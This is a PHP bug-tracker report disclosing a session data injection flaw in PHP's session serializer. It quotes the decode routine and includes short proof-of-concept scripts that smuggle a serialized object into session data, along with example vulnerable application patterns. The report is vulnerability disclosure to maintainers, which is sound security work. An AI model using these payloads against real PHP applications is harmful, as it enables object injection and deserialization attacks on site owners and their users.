|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-07-26 16:34 UTC] taoguangchen at icloud dot com
Description:
------------
PHP Session Data Injection Vulnerability
```
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
namelen = q - p;
name = estrndup(p, namelen);
q++;
if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
goto skip;
}
}
...
skip:
efree(name);
p = q;
}
```
If the session name is not allowed, then session php handler will ignore and skip the name, and continue to parsing. This means that if an attacker can control the session name, then he will be able to inject arbitrarily session data.
The similar issue also exist in session php_binary handler.
PoC:
```
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['_SESSION'] = 'ryat|O:8:"stdClass":0:{}';
session_write_close();
session_start();
var_dump($_SESSION);
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 08:00:01 2025 UTC |
Add a PoC to trigger this bug in PHP7 series. There are a few different since $GLOBALS['_SESSION'] and PS(http_session_vars) are set to reference types. ``` <?php ini_set('session.serialize_handler', 'php'); session_start(); $GLOBALS['ryat'] = $GLOBALS; $_SESSION['ryat'] = 'ryat|O:8:"stdClass":0:{}'; session_write_close(); session_start(); var_dump($_SESSION); ?> ```give you two example in real world&apps: ``` $_SESSION = array_merge($_SESSION, $_POST); ``` ``` if (isset($_GET['id']) && $_GET['result']) { $_SESSION[$_GET['id']] = $_GET['result']; ``` you can inject any types values not only string or array via this way. and input to deserialize is still dangerous.